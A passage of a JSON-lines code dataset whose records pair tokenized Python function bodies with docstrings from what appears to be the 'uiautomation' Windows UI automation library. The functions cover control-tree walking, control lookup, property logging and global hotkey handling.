ConsoleColor.Yellow)<EOL><DEDENT>try:<EOL><INDENT>_PatternIdInterfaces[PatternId.StylesPattern] = _AutomationClient.instance().UIAutomationCore.IUIAutomationStylesPattern<EOL><DEDENT>except:<EOL><INDENT>if debug: Logger.WriteLine('<STR_LIT>', ConsoleColor.Yellow)<EOL><DEDENT>try:<EOL><INDENT>_PatternIdInterfaces[PatternId.TextChildPattern] = _AutomationClient.instance().UIAutomationCore.IUIAutomationTextChildPattern<EOL><DEDENT>except:<EOL><INDENT>if debug: Logger.WriteLine('<STR_LIT>', ConsoleColor.Yellow)<EOL><DEDENT>try:<EOL><INDENT>_PatternIdInterfaces[PatternId.TextEditPattern] = _AutomationClient.instance().UIAutomationCore.IUIAutomationTextEditPattern<EOL><DEDENT>except:<EOL><INDENT>if debug: Logger.WriteLine('<STR_LIT>', ConsoleColor.Yellow)<EOL><DEDENT>try:<EOL><INDENT>_PatternIdInterfaces[PatternId.TextPattern2] = _AutomationClient.instance().UIAutomationCore.IUIAutomationTextPattern2<EOL><DEDENT>except:<EOL><INDENT>if debug: Logger.WriteLine('<STR_LIT>', ConsoleColor.Yellow)<EOL><DEDENT>try:<EOL><INDENT>_PatternIdInterfaces[PatternId.TransformPattern2] = _AutomationClient.instance().UIAutomationCore.IUIAutomationTransformPattern2<EOL><DEDENT>except:<EOL><INDENT>if debug: Logger.WriteLine('<STR_LIT>', ConsoleColor.Yellow)<EOL><DEDENT><DEDENT>return _PatternIdInterfaces[patternId]<EOL>", "docstring": "Get pattern COM interface by pattern id.\npatternId: int, a value in class `PatternId`.\nReturn comtypes._cominterface_meta.", "id": "f1782:m65"}
{"signature": "def CreatePattern(patternId: int, pattern: ctypes.POINTER(comtypes.IUnknown)):", "body": "subPattern = pattern.QueryInterface(GetPatternIdInterface(patternId))<EOL>if subPattern:<EOL><INDENT>return PatternConstructors[patternId](pattern=subPattern)<EOL><DEDENT>", "docstring": "Create a concreate pattern by pattern id and pattern(POINTER(IUnknown)).", "id": "f1782:m66"}
{"signature": "def SetGlobalSearchTimeout(seconds: float) -> None:", "body": "global TIME_OUT_SECOND<EOL>TIME_OUT_SECOND = seconds<EOL>", "docstring": "seconds: float.\nTo make this available, you need explicitly import uiautomation:\n    from uiautomation import uiautomation as auto\n    auto.SetGlobalSearchTimeout(10)", "id": "f1782:m67"}
{"signature": "def WaitForExist(control: Control, timeout: float) -> bool:", "body": "return control.Exists(timeout, <NUM_LIT:1>)<EOL>", "docstring": "Check if control exists in timeout seconds.\ncontrol: `Control` or its subclass.\ntimeout: float.\nReturn bool.", "id": "f1782:m68"}
{"signature": "def WaitForDisappear(control: Control, timeout: float) -> bool:", "body": "return control.Disappears(timeout, <NUM_LIT:1>)<EOL>", "docstring": "Check if control disappears in timeout seconds.\ncontrol: `Control` or its subclass.\ntimeout: float.\nReturn bool.", "id": "f1782:m69"}
{"signature": "def WalkTree(top, getChildren: Callable = None, getFirstChild: Callable = None, getNextSibling: Callable = None, yieldCondition: Callable = None, includeTop: bool = False, maxDepth: int = <NUM_LIT>):", "body": "if maxDepth <= <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>depth = <NUM_LIT:0><EOL>if getChildren:<EOL><INDENT>if includeTop:<EOL><INDENT>if not yieldCondition or yieldCondition(top, <NUM_LIT:0>):<EOL><INDENT>yield top, <NUM_LIT:0>, <NUM_LIT:0><EOL><DEDENT><DEDENT>children = getChildren(top)<EOL>childList = [children]<EOL>while depth >= <NUM_LIT:0>:   <EOL><INDENT>lastItems = childList[-<NUM_LIT:1>]<EOL>if lastItems:<EOL><INDENT>if not yieldCondition or yieldCondition(lastItems[<NUM_LIT:0>], depth + <NUM_LIT:1>):<EOL><INDENT>yield lastItems[<NUM_LIT:0>], depth + <NUM_LIT:1>, len(lastItems) - <NUM_LIT:1><EOL><DEDENT>if depth + <NUM_LIT:1> < maxDepth:<EOL><INDENT>children = getChildren(lastItems[<NUM_LIT:0>])<EOL>if children:<EOL><INDENT>depth += <NUM_LIT:1><EOL>childList.append(children)<EOL><DEDENT><DEDENT>del lastItems[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>del childList[depth]<EOL>depth -= <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>elif getFirstChild and getNextSibling:<EOL><INDENT>if includeTop:<EOL><INDENT>if not yieldCondition or yieldCondition(top, <NUM_LIT:0>):<EOL><INDENT>yield top, <NUM_LIT:0><EOL><DEDENT><DEDENT>child = getFirstChild(top)<EOL>childList = [child]<EOL>while depth >= <NUM_LIT:0>:  <EOL><INDENT>lastItem = childList[-<NUM_LIT:1>]<EOL>if lastItem:<EOL><INDENT>if not yieldCondition or yieldCondition(lastItem, depth + <NUM_LIT:1>):<EOL><INDENT>yield lastItem, depth + <NUM_LIT:1><EOL><DEDENT>child = getNextSibling(lastItem)<EOL>childList[depth] = child<EOL>if depth + <NUM_LIT:1> < maxDepth:<EOL><INDENT>child = getFirstChild(lastItem)<EOL>if child:<EOL><INDENT>depth += <NUM_LIT:1><EOL>childList.append(child)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>del childList[depth]<EOL>depth -= <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Walk a tree not using recursive algorithm.\ntop: a tree node.\ngetChildren: function(treeNode) -> list.\ngetNextSibling: function(treeNode) -> treeNode.\ngetNextSibling: function(treeNode) -> treeNode.\nyieldCondition: function(treeNode, depth) -> bool.\nincludeTop: bool, if True yield top first.\nmaxDepth: int, enum depth.\n\nIf getChildren is valid, ignore getFirstChild and getNextSibling,\n    yield 3 items tuple: (treeNode, depth, remain children count in current depth).\nIf getChildren is not valid, using getFirstChild and getNextSibling,\n    yield 2 items tuple: (treeNode, depth).\nIf yieldCondition is not None, only yield tree nodes that yieldCondition(treeNode, depth)->bool returns True.\n\nFor example:\ndef GetDirChildren(dir_):\n    if os.path.isdir(dir_):\n        return [os.path.join(dir_, it) for it in os.listdir(dir_)]\nfor it, depth, leftCount in WalkTree('D:\\\\', getChildren= GetDirChildren):\n    print(it, depth, leftCount)", "id": "f1782:m70"}
{"signature": "def GetRootControl() -> PaneControl:", "body": "return Control.CreateControlFromElement(_AutomationClient.instance().IUIAutomation.GetRootElement())<EOL>", "docstring": "Get root control, the Desktop window.\nReturn `PaneControl`.", "id": "f1782:m71"}
{"signature": "def GetFocusedControl() -> Control:", "body": "return Control.CreateControlFromElement(_AutomationClient.instance().IUIAutomation.GetFocusedElement())<EOL>", "docstring": "Return `Control` subclass.", "id": "f1782:m72"}
{"signature": "def GetForegroundControl() -> Control:", "body": "return ControlFromHandle(GetForegroundWindow())<EOL>", "docstring": "Return `Control` subclass.", "id": "f1782:m73"}
{"signature": "def GetConsoleWindow() -> WindowControl:", "body": "return ControlFromHandle(ctypes.windll.kernel32.GetConsoleWindow())<EOL>", "docstring": "Return `WindowControl`, a console window that runs python.", "id": "f1782:m74"}
{"signature": "def ControlFromPoint(x: int, y: int) -> Control:", "body": "element = _AutomationClient.instance().IUIAutomation.ElementFromPoint(ctypes.wintypes.POINT(x, y))<EOL>return Control.CreateControlFromElement(element)<EOL>", "docstring": "Call IUIAutomation ElementFromPoint x,y. May return None if mouse is over cmd's title bar icon.\nReturn `Control` subclass or None.", "id": "f1782:m75"}
{"signature": "def ControlFromPoint2(x: int, y: int) -> Control:", "body": "return Control.CreateControlFromElement(_AutomationClient.instance().IUIAutomation.ElementFromHandle(WindowFromPoint(x, y)))<EOL>", "docstring": "Get a native handle from point x,y and call IUIAutomation.ElementFromHandle.\nReturn `Control` subclass.", "id": "f1782:m76"}
{"signature": "def ControlFromCursor() -> Control:", "body": "x, y = GetCursorPos()<EOL>return ControlFromPoint(x, y)<EOL>", "docstring": "Call ControlFromPoint with current cursor point.\nReturn `Control` subclass.", "id": "f1782:m77"}
{"signature": "def ControlFromCursor2() -> Control:", "body": "x, y = GetCursorPos()<EOL>return ControlFromPoint2(x, y)<EOL>", "docstring": "Call ControlFromPoint2 with current cursor point.\nReturn `Control` subclass.", "id": "f1782:m78"}
{"signature": "def ControlFromHandle(handle: int) -> Control:", "body": "return Control.CreateControlFromElement(_AutomationClient.instance().IUIAutomation.ElementFromHandle(handle))<EOL>", "docstring": "Call IUIAutomation.ElementFromHandle with a native handle.\nhandle: int, a native window handle.\nReturn `Control` subclass.", "id": "f1782:m79"}
{"signature": "def ControlsAreSame(control1: Control, control2: Control) -> bool:", "body": "return bool(_AutomationClient.instance().IUIAutomation.CompareElements(control1.Element, control2.Element))<EOL>", "docstring": "control1: `Control` or its subclass.\ncontrol2: `Control` or its subclass.\nReturn bool, True if control1 and control2 represent the same control otherwise False.", "id": "f1782:m80"}
{"signature": "def WalkControl(control: Control, includeTop: bool = False, maxDepth: int = <NUM_LIT>):", "body": "if includeTop:<EOL><INDENT>yield control, <NUM_LIT:0><EOL><DEDENT>if maxDepth <= <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>depth = <NUM_LIT:0><EOL>child = control.GetFirstChildControl()<EOL>controlList = [child]<EOL>while depth >= <NUM_LIT:0>:<EOL><INDENT>lastControl = controlList[-<NUM_LIT:1>]<EOL>if lastControl:<EOL><INDENT>yield lastControl, depth + <NUM_LIT:1><EOL>child = lastControl.GetNextSiblingControl()<EOL>controlList[depth] = child<EOL>if depth + <NUM_LIT:1> < maxDepth:<EOL><INDENT>child = lastControl.GetFirstChildControl()<EOL>if child:<EOL><INDENT>depth += <NUM_LIT:1><EOL>controlList.append(child)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>del controlList[depth]<EOL>depth -= <NUM_LIT:1><EOL><DEDENT><DEDENT>", "docstring": "control: `Control` or its subclass.\nincludeTop: bool, if True, yield (control, 0) first.\nmaxDepth: int, enum depth.\nYield 2 items tuple(control: Control, depth: int).", "id": "f1782:m81"}
{"signature": "def LogControl(control: Control, depth: int = <NUM_LIT:0>, showAllName: bool = True) -> None:", "body": "def getKeyName(theDict, theValue):<EOL><INDENT>for key in theDict:<EOL><INDENT>if theValue == theDict[key]:<EOL><INDENT>return key<EOL><DEDENT><DEDENT><DEDENT>indent = '<STR_LIT:U+0020>' * depth * <NUM_LIT:4><EOL>Logger.Write('<STR_LIT>'.format(indent))<EOL>Logger.Write(control.ControlTypeName, ConsoleColor.DarkGreen)<EOL>Logger.Write('<STR_LIT>')<EOL>Logger.Write(control.ClassName, ConsoleColor.DarkGreen)<EOL>Logger.Write('<STR_LIT>')<EOL>Logger.Write(control.AutomationId, ConsoleColor.DarkGreen)<EOL>Logger.Write('<STR_LIT>')<EOL>Logger.Write(control.BoundingRectangle, ConsoleColor.DarkGreen)<EOL>Logger.Write('<STR_LIT>')<EOL>Logger.Write(control.Name, ConsoleColor.DarkGreen, printTruncateLen=<NUM_LIT:0> if showAllName else <NUM_LIT:30>)<EOL>Logger.Write('<STR_LIT>')<EOL>Logger.Write('<STR_LIT>'.format(control.NativeWindowHandle), ConsoleColor.DarkGreen)<EOL>Logger.Write('<STR_LIT>')<EOL>Logger.Write(depth, ConsoleColor.DarkGreen)<EOL>supportedPatterns = list(filter(lambda t: t[<NUM_LIT:0>], ((control.GetPattern(id_), name) for id_, name in PatternIdNames.items())))<EOL>for pt, name in supportedPatterns:<EOL><INDENT>if isinstance(pt, ValuePattern):<EOL><INDENT>Logger.Write('<STR_LIT>')<EOL>Logger.Write(pt.Value, ConsoleColor.DarkGreen, printTruncateLen=<NUM_LIT:0> if showAllName else <NUM_LIT:30>)<EOL><DEDENT>elif isinstance(pt, RangeValuePattern):<EOL><INDENT>Logger.Write('<STR_LIT>')<EOL>Logger.Write(pt.Value, ConsoleColor.DarkGreen)<EOL><DEDENT>elif isinstance(pt, TogglePattern):<EOL><INDENT>Logger.Write('<STR_LIT>')<EOL>Logger.Write('<STR_LIT>' + getKeyName(ToggleState.__dict__, pt.ToggleState), ConsoleColor.DarkGreen)<EOL><DEDENT>elif isinstance(pt, SelectionItemPattern):<EOL><INDENT>Logger.Write('<STR_LIT>')<EOL>Logger.Write(pt.IsSelected, ConsoleColor.DarkGreen)<EOL><DEDENT>elif isinstance(pt, ExpandCollapsePattern):<EOL><INDENT>Logger.Write('<STR_LIT>')<EOL>Logger.Write('<STR_LIT>' + getKeyName(ExpandCollapseState.__dict__, pt.ExpandCollapseState), ConsoleColor.DarkGreen)<EOL><DEDENT>elif isinstance(pt, ScrollPattern):<EOL><INDENT>Logger.Write('<STR_LIT>')<EOL>Logger.Write(pt.HorizontalScrollPercent, ConsoleColor.DarkGreen)<EOL>Logger.Write('<STR_LIT>')<EOL>Logger.Write(pt.VerticalScrollPercent, ConsoleColor.DarkGreen)<EOL><DEDENT>elif isinstance(pt, GridPattern):<EOL><INDENT>Logger.Write('<STR_LIT>')<EOL>Logger.Write(pt.RowCount, ConsoleColor.DarkGreen)<EOL>Logger.Write('<STR_LIT>')<EOL>Logger.Write(pt.ColumnCount, ConsoleColor.DarkGreen)<EOL><DEDENT>elif isinstance(pt, GridItemPattern):<EOL><INDENT>Logger.Write('<STR_LIT>')<EOL>Logger.Write(pt.Column, ConsoleColor.DarkGreen)<EOL>Logger.Write('<STR_LIT>')<EOL>Logger.Write(pt.Column, ConsoleColor.DarkGreen)<EOL><DEDENT>elif isinstance(pt, TextPattern):<EOL><INDENT>Logger.Write('<STR_LIT>')<EOL>Logger.Write(pt.DocumentRange.GetText(<NUM_LIT:30>), ConsoleColor.DarkGreen)<EOL><DEDENT><DEDENT>Logger.Write('<STR_LIT>')<EOL>for pt, name in supportedPatterns:<EOL><INDENT>Logger.Write('<STR_LIT:U+0020>' + name, ConsoleColor.DarkGreen)<EOL><DEDENT>Logger.Write('<STR_LIT:\\n>')<EOL>", "docstring": "Print and log control's properties.\ncontrol: `Control` or its subclass.\ndepth: int, current depth.\nshowAllName: bool, if False, print the first 30 characters of control.Name.", "id": "f1782:m82"}
{"signature": "def EnumAndLogControl(control: Control, maxDepth: int = <NUM_LIT>, showAllName: bool = True, startDepth: int = <NUM_LIT:0>) -> None:", "body": "for c, d in WalkControl(control, True, maxDepth):<EOL><INDENT>LogControl(c, d + startDepth, showAllName)<EOL><DEDENT>", "docstring": "Print and log control and its descendants' propertyies.\ncontrol: `Control` or its subclass.\nmaxDepth: int, enum depth.\nshowAllName: bool, if False, print the first 30 characters of control.Name.\nstartDepth: int, control's current depth.", "id": "f1782:m83"}
{"signature": "def EnumAndLogControlAncestors(control: Control, showAllName: bool = True) -> None:", "body": "lists = []<EOL>while control:<EOL><INDENT>lists.insert(<NUM_LIT:0>, control)<EOL>control = control.GetParentControl()<EOL><DEDENT>for i, control in enumerate(lists):<EOL><INDENT>LogControl(control, i, showAllName)<EOL><DEDENT>", "docstring": "Print and log control and its ancestors' propertyies.\ncontrol: `Control` or its subclass.\nshowAllName: bool, if False, print the first 30 characters of control.Name.", "id": "f1782:m84"}
{"signature": "def FindControl(control: Control, compare: Callable, maxDepth: int = <NUM_LIT>, findFromSelf: bool = False, foundIndex: int = <NUM_LIT:1>) -> Control:", "body": "foundCount = <NUM_LIT:0><EOL>if not control:<EOL><INDENT>control = GetRootControl()<EOL><DEDENT>traverseCount = <NUM_LIT:0><EOL>for child, depth in WalkControl(control, findFromSelf, maxDepth):<EOL><INDENT>traverseCount += <NUM_LIT:1><EOL>if compare(child, depth):<EOL><INDENT>foundCount += <NUM_LIT:1><EOL>if foundCount == foundIndex:<EOL><INDENT>child.traverseCount = traverseCount<EOL>return child<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "control: `Control` or its subclass.\ncompare: compare function with parameters (control: Control, depth: int) which returns bool.\nmaxDepth: int, enum depth.\nfindFromSelf: bool, if False, do not compare self.\nfoundIndex: int, starts with 1, >= 1.\nReturn `Control` subclass or None if not find.", "id": "f1782:m85"}
{"signature": "def ShowDesktop(waitTime: float = <NUM_LIT:1>) -> None:", "body": "SendKeys('<STR_LIT>')<EOL>time.sleep(waitTime)<EOL>", "docstring": "Show Desktop by pressing win + d", "id": "f1782:m86"}
{"signature": "def InitializeUIAutomationInCurrentThread() -> None:", "body": "comtypes.CoInitializeEx()<EOL>", "docstring": "Initialize UIAutomation in a new thread.\nIf you want to use functionalities related to Controls and Patterns in a new thread.\nYou must call this function first in the new thread.\nBut you can't use use a Control or a Pattern created in a different thread.\nSo you can't create a Control or a Pattern in main thread and then pass it to a new thread and use it.", "id": "f1782:m87"}
{"signature": "def UninitializeUIAutomationInCurrentThread() -> None:", "body": "comtypes.CoUninitialize()<EOL>", "docstring": "Uninitialize UIAutomation in a new thread after calling InitializeUIAutomationInCurrentThread.\nYou must call this function when the new thread exits if you have called InitializeUIAutomationInThisThread in the same thread.", "id": "f1782:m88"}
{"signature": "def WaitHotKeyReleased(hotkey: tuple) -> None:", "body": "mod = {ModifierKey.Alt: Keys.VK_MENU,<EOL>ModifierKey.Control: Keys.VK_CONTROL,<EOL>ModifierKey.Shift: Keys.VK_SHIFT,<EOL>ModifierKey.Win: Keys.VK_LWIN<EOL>}<EOL>while True:<EOL><INDENT>time.sleep(<NUM_LIT>)<EOL>if IsKeyPressed(hotkey[<NUM_LIT:1>]):<EOL><INDENT>continue<EOL><DEDENT>for k, v in mod.items():<EOL><INDENT>if k & hotkey[<NUM_LIT:0>]:<EOL><INDENT>if IsKeyPressed(v):<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "hotkey: tuple, two ints tuple(modifierKey, key)", "id": "f1782:m89"}
{"signature": "def RunByHotKey(keyFunctions: dict, stopHotKey: tuple = None, exitHotKey: tuple = (ModifierKey.Control, Keys.VK_D), waitHotKeyReleased: bool = True) -> None:", "body": "from threading import Thread, Event, currentThread<EOL>import traceback<EOL>def getModName(theDict, theValue):<EOL><INDENT>name = '<STR_LIT>'<EOL>for key in theDict:<EOL><INDENT>if isinstance(theDict[key], int) and theValue & theDict[key]:<EOL><INDENT>if name:<EOL><INDENT>name += '<STR_LIT:|>'<EOL><DEDENT>name += key<EOL><DEDENT><DEDENT>return name<EOL><DEDENT>def getKeyName(theDict, theValue):<EOL><INDENT>for key in theDict:<EOL><INDENT>if theValue == theDict[key]:<EOL><INDENT>return key<EOL><DEDENT><DEDENT><DEDENT>def releaseAllKey():<EOL><INDENT>for key, value in Keys.__dict__.items():<EOL><INDENT>if isinstance(value, int) and key.startswith('<STR_LIT>'):<EOL><INDENT>if IsKeyPressed(value):<EOL><INDENT>ReleaseKey(value)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>def threadFunc(function, stopEvent, hotkey, hotkeyName):<EOL><INDENT>if waitHotKeyReleased:<EOL><INDENT>WaitHotKeyReleased(hotkey)<EOL><DEDENT>try:<EOL><INDENT>function(stopEvent)<EOL><DEDENT>except Exception as ex:<EOL><INDENT>Logger.ColorfullyWrite('<STR_LIT>'.format(<EOL>ex.__class__.__name__, hotkeyName), writeToFile=False)<EOL>print(traceback.format_exc())<EOL><DEDENT>finally:<EOL><INDENT>releaseAllKey()  <EOL>Logger.ColorfullyWrite('<STR_LIT>'.format(<EOL>currentThread(), function.__name__, hotkeyName), ConsoleColor.DarkYellow, writeToFile=False)<EOL><DEDENT><DEDENT>stopHotKeyId = <NUM_LIT:1><EOL>exitHotKeyId = <NUM_LIT:2><EOL>hotKeyId = <NUM_LIT:3><EOL>registed = True<EOL>id2HotKey = {}<EOL>id2Function = {}<EOL>id2Thread = {}<EOL>id2Name = {}<EOL>for hotkey in keyFunctions:<EOL><INDENT>id2HotKey[hotKeyId] = hotkey<EOL>id2Function[hotKeyId] = keyFunctions[hotkey]<EOL>id2Thread[hotKeyId] = None<EOL>modName = getModName(ModifierKey.__dict__, hotkey[<NUM_LIT:0>])<EOL>keyName = getKeyName(Keys.__dict__, hotkey[<NUM_LIT:1>])<EOL>id2Name[hotKeyId] = str((modName, keyName))<EOL>if ctypes.windll.user32.RegisterHotKey(<NUM_LIT:0>, hotKeyId, hotkey[<NUM_LIT:0>], hotkey[<NUM_LIT:1>]):<EOL><INDENT>Logger.ColorfullyWrite('<STR_LIT>'.format((modName, keyName)), writeToFile=False)<EOL><DEDENT>else:<EOL><INDENT>registed = False<EOL>Logger.ColorfullyWrite('<STR_LIT>'.format((modName, keyName)), writeToFile=False)<EOL><DEDENT>hotKeyId += <NUM_LIT:1><EOL><DEDENT>if stopHotKey and len(stopHotKey) == <NUM_LIT:2>:<EOL><INDENT>modName = getModName(ModifierKey.__dict__, stopHotKey[<NUM_LIT:0>])<EOL>keyName = getKeyName(Keys.__dict__, stopHotKey[<NUM_LIT:1>])<EOL>if ctypes.windll.user32.RegisterHotKey(<NUM_LIT:0>, stopHotKeyId, stopHotKey[<NUM_LIT:0>], stopHotKey[<NUM_LIT:1>]):<EOL><INDENT>Logger.ColorfullyWrite('<STR_LIT>'.format((modName, keyName)), writeToFile=False)<EOL><DEDENT>else:<EOL><INDENT>registed = False<EOL>Logger.ColorfullyWrite('<STR_LIT>'.format((modName, keyName)), writeToFile=False)<EOL><DEDENT><DEDENT>if not registed:<EOL><INDENT>return<EOL><DEDENT>if exitHotKey and len(exitHotKey) == <NUM_LIT:2>:<EOL><INDENT>modName = getModName(ModifierKey.__dict__, exitHotKey[<NUM_LIT:0>])<EOL>keyName = getKeyName(Keys.__dict__, exitHotKey[<NUM_LIT:1>])<EOL>if ctypes.windll.user32.RegisterHotKey(<NUM_LIT:0>, exitHotKeyId, exitHotKey[<NUM_LIT:0>], exitHotKey[<NUM_LIT:1>]):<EOL><INDENT>Logger.ColorfullyWrite('<STR_LIT>'.format((modName, keyName)), writeToFile=False)<EOL><DEDENT>else:<EOL><INDENT>Logger.ColorfullyWrite('<STR_LIT>'.format((modName, keyName)), writeToFile=False)<EOL><DEDENT><DEDENT>funcThread = None<EOL>livingThreads = []<EOL>stopEvent = Event()<EOL>msg = ctypes.wintypes.MSG()<EOL>while ctypes.windll.user32.GetMessageW(ctypes.byref(msg), ctypes.c_void_p(<NUM_LIT:0>), <NUM_LIT:0>, <NUM_LIT:0>) != <NUM_LIT:0>:<EOL><INDENT>if msg.message == <NUM_LIT>: <EOL><INDENT>if msg.wParam in id2HotKey:<EOL><INDENT>if msg.lParam & <NUM_LIT> == id2HotKey[msg.wParam][<NUM_LIT:0>] and msg.lParam >> <NUM_LIT:16> & <NUM_LIT> == id2HotKey[msg.wParam][<NUM_LIT:1>]:<EOL><INDENT>Logger.ColorfullyWrite('<STR_LIT>'.format(id2Name[msg.wParam]), writeToFile=False)<EOL>if not id2Thread[msg.wParam]:<EOL><INDENT>stopEvent.clear()<EOL>funcThread = Thread(None, threadFunc, args=(id2Function[msg.wParam], stopEvent, id2HotKey[msg.wParam], id2Name[msg.wParam]))<EOL>funcThread.start()<EOL>id2Thread[msg.wParam] = funcThread<EOL><DEDENT>else:<EOL><INDENT>if id2Thread[msg.wParam].is_alive():<EOL><INDENT>Logger.WriteLine('<STR_LIT>'.format(id2Thread[msg.wParam], id2Name[msg.wParam]), ConsoleColor.Yellow, writeToFile=False)<EOL><DEDENT>else:<EOL><INDENT>stopEvent.clear()<EOL>funcThread = Thread(None, threadFunc, args=(id2Function[msg.wParam], stopEvent, id2HotKey[msg.wParam], id2Name[msg.wParam]))<EOL>funcThread.start()<EOL>id2Thread[msg.wParam] = funcThread<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif stopHotKeyId == msg.wParam:<EOL><INDENT>if msg.lParam & <NUM_LIT> == stopHotKey[<NUM_LIT:0>] and msg.lParam >> <NUM_LIT:16> & <NUM_LIT> == stopHotKey[<NUM_LIT:1>]:<EOL><INDENT>Logger.Write('<STR_LIT>', ConsoleColor.DarkYellow, writeToFile=False)<EOL>stopEvent.set()<EOL>for id_ in id2Thread:<EOL><INDENT>if id2Thread[id_]:<EOL><INDENT>if id2Thread[id_].is_alive():<EOL><INDENT>livingThreads.append((id2Thread[id_], id2Name[id_]))<EOL><DEDENT>id2Thread[id_] = None<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif exitHotKeyId == msg.wParam:<EOL><INDENT>if msg.lParam & <NUM_LIT> == exitHotKey[<NUM_LIT:0>] and msg.lParam >> <NUM_LIT:16> & <NUM_LIT> == exitHotKey[<NUM_LIT:1>]:<EOL><INDENT>Logger.Write('<STR_LIT>', ConsoleColor.DarkYellow, writeToFile=False)<EOL>stopEvent.set()<EOL>for id_ in id2Thread:<EOL><INDENT>if id2Thread[id_]:<EOL><INDENT>if id2Thread[id_].is_alive():<EOL><INDENT>livingThreads.append((id2Thread[id_], id2Name[id_]))<EOL><DEDENT>id2Thread[id_] = None<EOL><DEDENT><DEDENT>break<EOL><DEDENT><DEDENT><DEDENT><DEDENT>for thread, hotkeyName in livingThreads:<EOL><INDENT>if thread.is_alive():<EOL><INDENT>Logger.Write('<STR_LIT>'.format(thread, hotkeyName), ConsoleColor.DarkYellow, writeToFile=False)<EOL>thread.join(<NUM_LIT:2>)<EOL><DEDENT><DEDENT>os._exit(<NUM_LIT:0>)<EOL>", "docstring": "Bind functions with hotkeys, the function will be run or stopped in another thread when the hotkey is pressed.\nkeyFunctions: hotkey function dict, like {(uiautomation.ModifierKey.Control, uiautomation.Keys.VK_1) : func}\nstopHotKey: hotkey tuple\nexitHotKey: hotkey tuple\nwaitHotKeyReleased: bool, if True, hotkey function will be triggered after the hotkey is released\n\ndef main(stopEvent):\n    while True:\n        if stopEvent.is_set(): # must check stopEvent.is_set() if you want to stop when stop hotkey is pressed\n            break\n        print(n)\n        n += 1\n        stopEvent.wait(1)\n    print('main exit')\n\nuiautomation.RunByHotKey({(uiautomation.ModifierKey.Control, uiautomation.Keys.VK_1) : main}\n                    , (uiautomation.ModifierKey.Control | uiautomation.ModifierKey.Shift, uiautomation.Keys.VK_2))", "id": "f1782:m90"}
{"signature": "@classmethod<EOL><INDENT>def instance(cls) -> '<STR_LIT>':<DEDENT>", "body": "if cls._instance is None:<EOL><INDENT>cls._instance = cls()<EOL><DEDENT>return cls._instance<EOL>", "docstring": "Singleton instance (this prevents com creation on import).", "id": "f1782:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def instance(cls) -> '<STR_LIT>':<DEDENT>", "body": "if cls._instance is None:<EOL><INDENT>cls._instance = cls()<EOL><DEDENT>return cls._instance<EOL>", "docstring": "Singleton instance (this prevents com creation on import).", "id": "f1782:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def Write(log: Any, consoleColor: int = ConsoleColor.Default, writeToFile: bool = True, printToStdout: bool = True, logFile: str = None, printTruncateLen: int = <NUM_LIT:0>) -> None:<DEDENT>", "body": "if not isinstance(log, str):<EOL><INDENT>log = str(log)<EOL><DEDENT>if printToStdout and sys.stdout:<EOL><INDENT>isValidColor = (consoleColor >= ConsoleColor.Black and consoleColor <= ConsoleColor.White)<EOL>if isValidColor:<EOL><INDENT>SetConsoleColor(consoleColor)<EOL><DEDENT>try:<EOL><INDENT>if printTruncateLen > <NUM_LIT:0> and len(log) > printTruncateLen:<EOL><INDENT>sys.stdout.write(log[:printTruncateLen] + '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>sys.stdout.write(log)<EOL><DEDENT><DEDENT>except Exception as ex:<EOL><INDENT>SetConsoleColor(ConsoleColor.Red)<EOL>isValidColor = True<EOL>sys.stdout.write(ex.__class__.__name__ + '<STR_LIT>')<EOL>if log.endswith('<STR_LIT:\\n>'):<EOL><INDENT>sys.stdout.write('<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>if isValidColor:<EOL><INDENT>ResetConsoleColor()<EOL><DEDENT>sys.stdout.flush()<EOL><DEDENT>if not writeToFile:<EOL><INDENT>return<EOL><DEDENT>fileName = logFile if logFile else Logger.FileName<EOL>try:<EOL><INDENT>fout = open(fileName, '<STR_LIT>', encoding='<STR_LIT:utf-8>')<EOL>fout.write(log)<EOL><DEDENT>except Exception as ex:<EOL><INDENT>if sys.stdout:<EOL><INDENT>sys.stdout.write(ex.__class__.__name__ + '<STR_LIT>')<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>if fout:<EOL><INDENT>fout.close()<EOL><DEDENT><DEDENT>", "docstring": "log: any type.\nconsoleColor: int, a value in class `ConsoleColor`, such as `ConsoleColor.DarkGreen`.\nwriteToFile: bool.\nprintToStdout: bool.\nlogFile: str, log file path.\nprintTruncateLen: int, if <= 0, log is not truncated when print.", "id": "f1782:c41:m1"}
{"signature": "@staticmethod<EOL><INDENT>def WriteLine(log: Any, consoleColor: int = -<NUM_LIT:1>, writeToFile: bool = True, printToStdout: bool = True, logFile: str = None) -> None:<DEDENT>", "body": "Logger.Write('<STR_LIT>'.format(log), consoleColor, writeToFile, printToStdout, logFile)<EOL>", "docstring": "log: any type.\nconsoleColor: int, a value in class `ConsoleColor`, such as `ConsoleColor.DarkGreen`.\nwriteToFile: bool.\nprintToStdout: bool.\nlogFile: str, log file path.", "id": "f1782:c41:m2"}
